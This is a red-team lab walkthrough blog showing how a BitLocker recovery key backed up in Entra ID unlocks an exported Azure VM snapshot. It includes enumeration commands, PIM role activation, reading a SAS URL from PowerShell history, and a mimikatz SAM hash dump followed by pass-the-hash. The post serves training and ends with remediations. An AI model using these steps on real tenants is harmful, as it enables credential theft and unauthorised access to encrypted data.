top of page

Abusing Azure VMs: When BitLocker Recovery Turns into an Attack Vector

Writer: Hitesh Duseja
Hitesh Duseja
Aug 27
9 min read

Hello Readers,


Today, we are going to discuss about how BitLocker keys backed up in Entra ID can be abused. So, let's buckle-up and enjoy the blog.


Table of contents


Introduction


In enterprise environments, organizational endpoints and servers often contain crucial data. So, to abide by data-at-rest policies, Microsoft introduced a security feature called BitLocker for Windows Operating systems. BitLocker is used to apply the protection of symmetric encryption for both Operating System and Fixed data drives. This encryption key then is protected using a recovery key.


In On-prem environments, Microsoft Active Directory supported storing BitLocker Recovery Keys with the help of Group Policy Object (GPO). We are all aware that the corresponding equivalent for Active Directory in Microsoft Cloud ecosystem is Microsoft Entra ID. It is therefore possible to back up the recovery key to Entra ID for any Entra ID joined devices.


Though not natively supported, Windows Servers can be joined to Entra ID with the help of AADLoginForWindows VM Extension. Thus ultimately, broadening the coverage of BitLocker Recovery Key backup for Windows Servers to Microsoft Entra ID.


Background


Azure Virtual Machines, as a service, is a fully managed, native offering from Microsoft Azure for virtual compute workloads. In contrast, Azure Arc, through the Azure Arc agent (Connected Machine agent), brings the management of on-premises and non-Azure servers under the same unified control plane by on-boarding them as Azure Arc-enabled servers.


Just like in traditional data centers, the disks of both Windows-based Azure VMs and Azure-arc enabled servers are also backed up in the form of snapshots. Since these are virtual machines in the end, these snapshots are usually protected by BitLocker encryption, which play an important role during disaster recovery, migration or simply as secure backup.


These snapshots are stored as managed ARM resources in Azure, meaning Azure owns and manages the underlying storage accounts, so customers do not see them in their own Storage Account.

An Azure Storage account is a Microsoft Azure service that provides data storage. It supports multiple storage services, including Blob Storage (for storing files of virtually any type), Azure Files, Queue Storage, and Table Storage.

However, managed disk snapshots, is only available for Azure's native Virtual Machines service. For Azure-arc enabled servers, the administrators either use Microsoft Azure Recovery Services (MARS), which provides file or folder-level and volume-level backup protection or rely on their local Virtualization solution itself to take backup for full disk snapshots.


Observation


It has been observed that there are situations where organizations may want to create an independent copy of these snapshots outside the Azure managed disk snapshot service. Common reasons include long-term archival, migrating workloads between tenants, or maintaining a secondary copy of the backup itself.


To support these scenarios, Azure allows customers to export a managed snapshot as a VHD (Virtual Hard Disk) file and copy it into their own Azure Storage Account. The exported VHD is a separate copy of the disk data and is no longer managed as an Azure Compute snapshot resource. Instead, it is governed by the permissions, policies, and access controls of the customer's Storage Account.


It has also been found that administrators usually keep these unmanaged secondary backups either on company's SharePoint site, NAS (Network Attached Storage) or dedicated backup solutions.


Premise


The lab environment featured in this blog is the culmination of efforts initially showcased during the Altered Security's Month of Azure Red teaming (MoART) 2026. You can watch the webinar on our YouTube channel at https://www.youtube.com/watch?v=7dMXvxy3MUI.


We will be exploring the scenario of how unmanaged secondary backups of disk snapshots being kept on an unsecured SharePoint site can lead to accessing data from BitLocker-protected disks.


We will also be discussing the techniques that can be used to gain access to live Azure VMs, by carrying out credential compromise attack from the offline disk snapshot.


Lab Demonstration


Now, let’s check out the demonstration of our scenario in form of a challenge lab. This lab is part of 'Premium Labs' category on our Red Labs Platform (https://redlabs.enterprisesecurity.io/). The reader is free to follow along.


  1. In a browser, navigate to https://redlabs.enterprisesecurity.io/lab-exam/PremiumLabs/otLG8KHCe1bOHl1B7UHAL and authenticate using your Google Account.

Red Labs & Challenges webpage for Abusing Bitlocker Key, with sidebar, lab details, and Start Lab/Download controls.

  1. For this lab, it is recommended to download the VHD File before starting to solve the lab. You can download it from the following link:


  1. Download and import the Microburst PowerShell Module, to enumerate Storage Account associated with the lab. You must import Invoke-EnumerateAzureBlobs.ps1 from the directory where you cloned it in your system.

git clone https://github.com/NetSPI/MicroBurst

Import-Module "$pwd\MicroBurst\Misc\Invoke-EnumerateAzureBlobs.ps1"
Windows PowerShell shows git cloning MicroBurst and importing Invoke-EnumerateAzureBlobs.ps1 in a black terminal.

Note: In case, git is not installed on the system then the user can follow the steps below to download, extract and import Microburst into the current PowerShell Session.
$presentworkingdirectory = pwd

$presentworkingdirectory

$downloadfile = Join-Path $presentworkingdirectory "Microburst.zip"
$downloadfile

Invoke-WebRequest -UseBasicParsing -Uri 'https://github.com/NetSPI/MicroBurst/archive/refs/heads/master.zip' -OutFile $downloadfile

Expand-Archive $downloadfile -DestinationPath $presentworkingdirectory

$ps1path = Join-Path $presentworkingdirectory "MicroBurst-master\Misc\Invoke-EnumerateAzureBlobs.ps1"

$ps1path

Import-Module $ps1path
PowerShell showing commands downloading MicroBurst.zip, extracting it, and importing Invoke-EnumerateAzureBlobs.ps1 from GitHub.

Microburst's Invoke-EnumerateAzureBlobs is used to find the storage accounts of the target organization, whose assessment, we are legally performing. In our case, the target environment is Red Labs, hence, we use the base redlabs when executing Invoke-EnumerateAzureBlobs.


dashboard for Altered Security Red Labs & Challenges BETA

Invoke-EnumerateAzureBlobs -Base redlabs
PowerShell terminal shows Invoke-EnumerateAzureBlobs on redlabs, finding two storage accounts, then a PercentComplete error.

Note: You may ignore the error that gets displayed on your PowerShell terminal during the invocation of the cmdlet. It simply indicates that the tool is failing to show progress.

  1. Login to the Azure portal using the credentials provided with the lab. During the login, you will be prompted to register for MFA, for which you can follow the steps as mentioned in the MFA Evasion section on the Challenge lab page.


Azure portal

Alternatively, one can follow the steps outlined under MFA Evasion section to login using the Az PowerShell Module. Post login, one can verify the context as shown below:

Get-AzContext
Windows PowerShell terminal showing Get-AzContext output with tenant, subscription, account, and AzureCloud environment
  1. Enumerate the Resource Group and all the resources under it. We discover one Azure Arc-enabled server and three Storage Accounts.


Microsoft Azure Resource

Azure Portal shows HybridRG resource group with a red-highlighted resource list, including DE-WS25-05 and storage accounts.

Alternatively, one can issue the following Az PowerShell cmdlets to perform discovery via PowerShell.

Get-AzResourceGroup

Get-AzResource -ResourceGroupName ((Get-AzResourceGroup).ResourceGroupName)
Windows PowerShell shows Azure resource output for HybridRG, highlighting DE-WS25-05, AADLogin, and storage accounts with red boxes and arrows
  1. As part of understanding the privileges we have, it is vital that we first check the RBAC role assignments under IAM to understand the privileges of our user on the Resource Group.

Azure portal Access control (IAM) for HybridRG showing AS-EoBdYa48 assignments: Reader and Storage Blob Reader.

Alternatively, one can issue the following Az PowerShell cmdlet to gather the knowledge about role assignments for our user.

$resourcegroupname = ((Get-AzResourceGroup).ResourceGroupName)

$Accountcontext = Get-AzContext

$accountId = $Accountcontext.Account.Id

Get-AzRoleAssignment -SignInName $accountId -ResourceGroupName 

$resourcegroupname | Select RoleDefinitionName, Scope
PowerShell terminal shows Azure role assignments; output lists Storage Blob Reader and Reader for HybridRG resource group.
  1. As we have Storage Blob Reader role, let's explore the two storage accounts that were also discovered during external enumeration.

Microsoft Azure Storage browser for redlabsinternal
Microsoft Azure Storage browser for redlabsit in HybridRG, showing blob containers, file shares, tables, and queues metrics
Microsoft Azure Storage browser for redlabsit showing blob containers $logs and snapshotbackuplocation
Microsoft Azure Storage browser showing redlabsit blob container snapshotbackuplocation with file DE-WS25-05 highlighted.
Azure portal blob DE-WS25-05 details page for storage account redlabsit, with Edit tab selected and properties listed.
Microsoft Azure portal showing blob DE-WS25-05 open in Edit tab, with a highlighted SharePoint backup URL and warning icon.

Alternatively, using Az PowerShell, we can also confirm that the first storage account is indeed empty and the second storage account has the blob pointing to SharePoint Link.

$ctx = (Get-AzStorageAccount -Name "redlabsinternal" -ResourceGroupName $resourcegroupname).context

$ContainerName = (Get-AzRmStorageContainer -ResourceGroupName 

$resourcegroupname -StorageAccountName "redlabsinternal"); $ContainerName

$FileShareName = (Get-AzRmStorageShare -ResourceGroupName

$resourcegroupname -StorageAccountName "redlabsinternal"); $FileShareName
PowerShell terminal  showing Azure storage commands
$ctx = (Get-AzStorageAccount -Name "redlabsit" -ResourceGroupName $resourcegroupname).context

$FileShareName = (Get-AzRmStorageShare -ResourceGroupName 

$resourcegroupname -StorageAccountName "redlabsit"); $FileShareName

$ContainerName = (Get-AzRmStorageContainer -ResourceGroupName 

$resourcegroupname -StorageAccountName "redlabsit"); $ContainerName

Get-AzStorageBlob -Container $ContainerName.Name -Context $ctx

$ctx = New-AzStorageContext -StorageAccountName "redlabsit" -UseConnectedAccount

Get-AzStorageBlob -Container $ContainerName.Name -Context $ctx

$blobname = (Get-AzStorageBlob -Container $ContainerName.Name -Context $ctx).Name

Get-AzStorageBlobContent -Blob $blobname -Container $ContainerName.Name -Context $ctx -Destination .

type $blobname
Azure PowerShell terminal showing AzStorage commands, an authorization error, and a note to use -UseConnectedAccount for access.
  1. Download the VHD Snapshot and once completed, verify the disk image in an administrative PowerShell session. Please note that it is the same URL that we asked you to use to download the VHD Snapshot at the beginning of the challenge.

OneDrive page showing DE-WS25-05_Snapshot.vhd selected, with Download button highlighted
$vhd = "<path-to-folder-where-disk-snapshot-is-saved>\DE-WS25-05_Snapshot.vhd"

Get-DiskImage -ImagePath $vhd
Windows PowerShell window showing Get-DiskImage output for a VHD file, with a red arrow and label Approx 19 GB.
  1. When we mount the VHD file, we are denied access because the image is BitLocker encrypted.

Mount-DiskImage -ImagePath $vhd -Access ReadOnly
PowerShell window shows Mount-DiskImage output, with Attached: True highlighted and VHD path ending in DE-WS25-05_Snapshot.vhd.
Windows error dialog
Windows File Explorer  showing Devices and drives, with Local Disk (D:) highlighted
PowerShell Get-Volume table   with D: highlighted as Unknown and several NTFS/FAT32 volumes shown.
$drive = Get-Volume | Where-Object {$_.DriveType -eq 'Fixed' -and $_.FileSystemType -eq 'Unknown'}

Get-BitLockerVolume -MountPoint "$($drive.DriveLetter):" | Select MountPoint, VolumeType, VolumeStatus, LockStatus, KeyProtector
Windows PowerShell shows BitLocker status for D: data drive, with LockStatus: Locked and KeyProtector: Tpm, RecoveryPassword
  1. To check if we have the permissions to acquire the recovery key, we can navigate to Microsoft Entra ID, and find it out under Devices as shown below:

Microsoft Azure portal home showing Azure services icons, with Microsoft Entra ID highlighted in a red box
Microsoft Azure Entra overview for Red Team Labs US, with the Devices menu item highlighted by a red arrow.
Microsoft Azure Devices overview dashboard showing alerts for stale, noncompliant, unmanaged devices and total device counts.
Microsoft Azure All devices page showing device DE-WS25-05 selected in a table, with Windows enabled status visible.
Microsoft Azure device properties page for DE-WS25-05, showing Entra ID details and red text No Bitlocker Keys Menu on the left.

In such a situation, we must also look, if we are eligible for any inactive role. We can do that by visiting to https://aka.ms/pim to enter the Privilege Identity Management (PIM) Role Assignment dashboard and thereby activating the eligible role.

Privileged Identity Management (PIM) is an Identity Governance service in Microsoft Entra ID that helps provide elevated privileges to Entra user principals in a temporary, controlled, and auditable manner. Instead of granting users permanent administrative access, PIM allows them to request elevated permissions only when needed, for a limited duration, following the Just-In-Time (JIT) principle to reduce the risk of misuse.
Browser address bar showing https://aka.ms/pim, with dropdown suggestions and a red arrow pointing to the URL, plus Navigate here text
Microsoft Entra roles Activate dialog for BitlockerKeyReader, with reason field saying I need it and red arrow pointing to Activate button.
Microsoft Entra Privileged Identity Management dialog to activate BitlockerKeyReader, with reason field and Activate/Cancel buttons.
Microsoft Azure Privileged Identity Management page showing Active assignments for Microsoft Entra roles, including Bitlocker Key Reader.

Note: For some tenants, it has been observed that before PIM activation, if the user navigates to Entra ID, the user can be displayed a message of "You don't have access". Hence, it is important to activate the PIM role.
  1. As we activated the Custom Entra Role named "BitLocker Key Reader", let's navigate to the device in Entra ID and verify if we can get hold of the BitLocker Recovery key of the device.


Microsoft Azure portal showing Red Team Labs US Overview, with red highlights and arrow pointing to the Devices menu.
Microsoft Azure Devices page showing a filtered device list with DE-WS25-05 highlighted, Windows, Microsoft Entra joined.
Microsoft Azure device properties page for DE-WS25-05, showing IDs, Windows status, and BitLocker keys highlighted
Microsoft Azure BitLocker keys page for device DE-WS25-05, showing a recovery key row and a Show Recovery Key button.
Microsoft Azure BitLocker keys page for device DE-WS25-05, showing a recovery key side panel with masked key and details
  1. Next, unlock the VHD Snapshot using the recovery key so that we can explore the interesting contents of the disk.

$bitlockervolume = Get-BitLockerVolume -MountPoint "$($drive.DriveLetter):"

Unlock-BitLocker -MountPoint $bitlockervolume.MountPoint -RecoveryPassword (Read-Host "Recovery password")
Windows PowerShell showing BitLocker unlock commands and a Recovery password prompt
Get-BitLockerVolume -MountPoint "$($drive.DriveLetter):" | Select MountPoint, VolumeType, VolumeStatus, LockStatus, KeyProtector
PowerShell window showing BitLocker status for D: drive, fully encrypted and unlocked, with recovery password
$bitlockerdrive = $bitlockervolume.MountPoint

ls $bitlockerdrive

ls $bitlockerdrive\Users

ls $bitlockerdrive\Users\Administrator
Windows PowerShell shows BitLocker drive D: folder listings, with red underlines and an arrowed note reading Interesting Folders
ls $bitlockerdrive\Users\Administrator\Downloads\

ls $bitlockerdrive\Users\Administrator\.Azure\
Windows PowerShell shows ls for empty Downloads and .Azure folder files, with red callouts noting no msal_token_cache.bin.
ls $bitlockerdrive\Users\Administrator\Documents\

ls $bitlockerdrive\Users\Administrator\Documents\WindowsPowerShell\

ls $bitlockerdrive\Users\Administrator\Documents\WindowsPowerShell\Scripts\

ls $bitlockerdrive\Users\Administrator\Documents\WindowsPowerShell\Scripts\InstalledScriptInfos
PowerShell terminal lists D:\Users\Administrator\Documents\WindowsPowerShell\Scripts\InstalledScriptInfos and shows Empty Folder in red
  1. Even though Windows PowerShell folder under Documents was kind of empty, we must also check the Windows PowerShell Console history of the Administrator user.

ls $bitlockerdrive\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

cat $bitlockerdrive\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

Eventually, we find Shared Access Signature URI of itdata in the Windows Temp folder.

A SAS URL (Shared Access Signature URL) is a URL that contains a shared access signature token. It allows secure access to specific resources within an Azure storage account for a limited period, without requiring the account key. SAS URLs provide us with a way to grant granular access permissions to clients or applications without exposing the storage account keys.
cat $bitlockerdrive\Windows\Temp\itdataSAS.txt
Windows PowerShell window showing commands for history, Azure storage, and SAS file checks, with red highlighted notes and arrows

Azure File Shares are a type of storage service available within an Azure Storage Account. Like traditional on-premises file shares, they are accessible over the industry-standard Server Message Block (SMB) protocol. With the help of Storage account key, Azure File Shares can be mapped as network shares on Windows, or mounted on Linux and macOS operating systems. Additionally, similar to Azure Blob Storage, Azure File Shares also support Shared Access Signatures (SAS) and access via the REST API.
  1. Then, we validate the presence of ShareName obtained from Console history with the 3rd storage account under the Resource Group. We also gather the baseURI corresponding to the File Share.


Microsoft Azure Storage browser for redlabshybrid, showing File shares selected with 1 share and 1 file, plus containers, tables, and queues.
Azure portal Storage browser for redlabshybrid showing file share itdata with Properties menu open and 100 TiB quota highlighted
Azure Portal Storage browser shows file share itdata selected, with Share properties panel and highlighted URL on the right.

Alternatively, using Az PowerShell, we can also confirm the Share Name and get its details.

Note: Execute the following commands in the same PowerShell session used to run the earlier Az PowerShell cmdlets.
$ctx = (Get-AzStorageAccount -Name "redlabshybrid" -ResourceGroupName $resourcegroupname).context

$ContainerName = (Get-AzRmStorageContainer -ResourceGroupName $resourcegroupname -StorageAccountName "redlabshybrid"); $ContainerName

$FileShareName = (Get-AzRmStorageShare -ResourceGroupName $resourcegroupname -StorageAccountName "redlabshybrid"); $FileShareName
PowerShell window showing Azure Storage commands and output for redlabshybrid in HybridRG, listing SMB share itdata and quota 102400
$ctx = (New-AzStorageContext -StorageAccountName "redlabshybrid" -UseConnectedAccount)

((Get-AzStorageShare -Context $ctx | Select -ExpandProperty ShareClient).Uri).AbsoluteUri
PowerShell terminal showing Azure Storage commands and output URL https://redlabshybrid.file.core.windows.net/itdata

  1. Finally, we can construct the full URL using the baseURI and the SAS URI, to first list the share and then download the flag file from it.


Browser address bars and a command prompt with red arrows highlighting itdata URL and itdataSAS.txt, showing a blurred SAS link
Browser shows an XML directory listing with red arrows pointing to folder names and the text Select the folder based on your username
Browser screenshot of an Azure file URL, with red text add username as directory path above the address bar.
Browser showing an XML directory listing, with Flag.txt highlighted
Browser window showing an XML file error page with a blue-highlighted URL ending in flag.txt and text saying no style information is associated with it
Browser screenshot showing a flag.txt URL, with a red arrow labeled Flag Value pointing to a boxed flag string

Alternatively, we can also use the Invoke-RestMethod cmdlet in PowerShell, to finish the lab:


[xml]$xmloutput = $(
  if ($response -is [string]) { $response } else { $response.OuterXml }
 ) -replace '^(?:\uFEFF|\xEF\xBB\xBF|)', ''
$xmloutput.Save([Console]::Out)
Windows PowerShell showing XML directory listings from Azure storage, with red boxes and a note about username folder names
[xml]$xmloutput = $(
   if ($response -is [string]) { $response } else { $response.OuterXml }
 ) -replace '^(?:\uFEFF|\xEF»\xBF|)', ''
$xmloutput.Save([Console]::Out)
Windows PowerShell window showing XML directory enumeration, a flag.txt entry, and a revealed flag value with red arrows and labels

The flag is present in the response output. Submit it to complete the lab.


Flag Submission


After successfully completing the lab, we receive a completion badge from the Altered Security's Red Labs platform.


Altered Security webinar badge for Abuse Bitlocker Recovery Keys, showing Hitesh verified, issued Apr 10 2026,

Bonus Section


We can also use mimikatz (https://github.com/gentilkiwi/mimikatz/releases) to extract the hashes of local Administrator of the Azure Arc-enabled server in the same Administrative PowerShell session:

cd <path-to-where-mimikatz-is-extracted-from-its-archive\x64>
.\mimikatz.exe "lsadump::sam /system:$bitlockerdrive\Windows\System32\config\SYSTEM /SAM:$bitlockerdrive\Windows\System32\config\SAM"
Windows PowerShell showing Mimikatz lsadump::sam output with Administrator hash data

During an assessment such as in an Assumed Breach scenario or in cases where we have gained a foothold in the target environment, if we are able to establish line-of-sight connectivity with the target server (DE-WS25-05), we can perform Pass-the-Hash (PtH) attack to gain access to the live server, provided the password is not changed after the snapshot is taken. For that, we need to get the internal IP Address of the Azure Arc-enabled server. From the Azure Portal, we can do that using the JSON view:


Microsoft Azure portal showing Azure Arc machine DE-WS25-05 overview, with status warning that the server is not connected to Azure.
Azure portal shows Resource JSON for DE-WS25-05, highlighting internal IP address 192.168.254.11 in a code view.

Alternatively, we can also use Az PowerShell cmdlet in the previous Windows PowerShell session to get that internal IP Address:

$resourcegroupname = ((Get-AzResourceGroup).ResourceGroupName)

(Get-AzConnectedMachine -ResourceGroupName $resourcegroupname -Name DE-WS25-05).NetworkProfileNetworkInterface | ConvertTo-Json -Depth 10
Windows PowerShell showing Azure JSON for Ethernet network interface, highlighting IP address 192.168.254.11

Summary


We can visualize the above lab using the following Attack Path Diagram:


flowchart of Azure attack path: user, portal, PIM, storage, Blob, OneDrive, VHD, BitLocker key, file share, flag.

Remediations


  • Snapshots or any sensitive data stored should never be behind world readable access URLs.

  • We must limit access to users, who are capable of reading BitLocker recovery keys, especially device owners for their own devices.

  • We can put approval process behind PIM activation, as part of access reviews for all Entra roles capable of reading BitLocker Recovery keys.

  • We must not store sensitive data in Windows Temp folder, as it can very well stay consistent even across reboots.


Conclusion


We learned how BitLocker Recovery keys are backed up to Entra ID. How extraction of such from Entra ID can be used to unlock disk snapshots and recover critical information stored on it, before the snapshot was taken.


In addition to that, we also learned how we can gather credential information, which when coupled with line of sight network connectivity, can be useful to gain access to the target machine.


References



Further Reading


We have more related blogs on Premium Labs category, covering different attack techniques, which you can explore through the following links:


Thank you for reading this blog post. If you have any queries, feel free to reach out to us on the Discord Channel (#redlabs) of our Discord Server (https://discord.com/invite/vcEwaRMwJe).


Posted by:


Hitesh Duseja

Security Researcher at AlteredSecurity

 
 
bottom of page